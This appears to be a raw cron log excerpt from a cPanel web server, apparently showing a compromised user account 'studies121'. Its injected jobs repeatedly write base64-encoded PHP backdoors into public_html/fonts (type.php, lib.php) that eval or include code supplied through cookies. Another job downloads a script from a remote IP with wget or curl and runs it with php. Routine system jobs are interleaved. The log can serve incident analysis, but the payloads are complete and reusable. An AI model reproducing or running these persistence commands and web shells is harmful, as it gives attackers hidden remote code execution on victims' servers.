Aug 30 06:15:01 ip-184-168-122-23 CROND[26671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:16:01 ip-184-168-122-23 CROND[26922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:16:01 ip-184-168-122-23 CROND[26923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:16:01 ip-184-168-122-23 CROND[26925]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 06:16:01 ip-184-168-122-23 CROND[26931]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 06:16:01 ip-184-168-122-23 CROND[26932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:16:01 ip-184-168-122-23 CROND[26933]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:17:01 ip-184-168-122-23 CROND[27256]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:17:01 ip-184-168-122-23 CROND[27258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:17:01 ip-184-168-122-23 CROND[27257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:17:01 ip-184-168-122-23 CROND[27259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:18:01 ip-184-168-122-23 CROND[27342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:18:01 ip-184-168-122-23 CROND[27343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:18:01 ip-184-168-122-23 CROND[27344]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:18:01 ip-184-168-122-23 CROND[27347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:18:01 ip-184-168-122-23 CROND[27348]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 06:19:01 ip-184-168-122-23 CROND[27432]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:19:01 ip-184-168-122-23 CROND[27434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:19:01 ip-184-168-122-23 CROND[27435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:19:01 ip-184-168-122-23 CROND[27436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:20:01 ip-184-168-122-23 CROND[27522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:20:01 ip-184-168-122-23 CROND[27523]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 06:20:01 ip-184-168-122-23 CROND[27527]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 06:20:01 ip-184-168-122-23 CROND[27526]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 06:20:01 ip-184-168-122-23 CROND[27530]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 06:20:01 ip-184-168-122-23 CROND[27533]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:20:01 ip-184-168-122-23 CROND[27531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:20:01 ip-184-168-122-23 CROND[27529]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 06:20:01 ip-184-168-122-23 CROND[27532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:21:01 ip-184-168-122-23 CROND[27748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:21:01 ip-184-168-122-23 CROND[27749]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:21:01 ip-184-168-122-23 CROND[27751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:21:01 ip-184-168-122-23 CROND[27753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:22:01 ip-184-168-122-23 CROND[27864]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:22:01 ip-184-168-122-23 CROND[27867]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 06:22:01 ip-184-168-122-23 CROND[27868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:22:01 ip-184-168-122-23 CROND[27869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:22:01 ip-184-168-122-23 CROND[27866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:23:01 ip-184-168-122-23 CROND[27957]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:23:01 ip-184-168-122-23 CROND[27961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:23:01 ip-184-168-122-23 CROND[27959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:23:01 ip-184-168-122-23 CROND[27960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:24:02 ip-184-168-122-23 CROND[28125]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 06:24:02 ip-184-168-122-23 CROND[28127]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:24:02 ip-184-168-122-23 CROND[28129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:24:02 ip-184-168-122-23 CROND[28130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:24:02 ip-184-168-122-23 CROND[28131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:25:01 ip-184-168-122-23 CROND[28429]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 30 06:25:01 ip-184-168-122-23 CROND[28430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:25:01 ip-184-168-122-23 CROND[28433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:25:01 ip-184-168-122-23 CROND[28435]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 06:25:01 ip-184-168-122-23 CROND[28437]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:25:01 ip-184-168-122-23 CROND[28434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:25:01 ip-184-168-122-23 CROND[28436]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 06:26:01 ip-184-168-122-23 CROND[28611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:26:01 ip-184-168-122-23 CROND[28613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:26:01 ip-184-168-122-23 CROND[28614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:26:01 ip-184-168-122-23 CROND[28615]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:26:01 ip-184-168-122-23 CROND[28618]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 06:27:02 ip-184-168-122-23 CROND[28712]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:27:02 ip-184-168-122-23 CROND[28714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:27:02 ip-184-168-122-23 CROND[28713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:27:02 ip-184-168-122-23 CROND[28715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
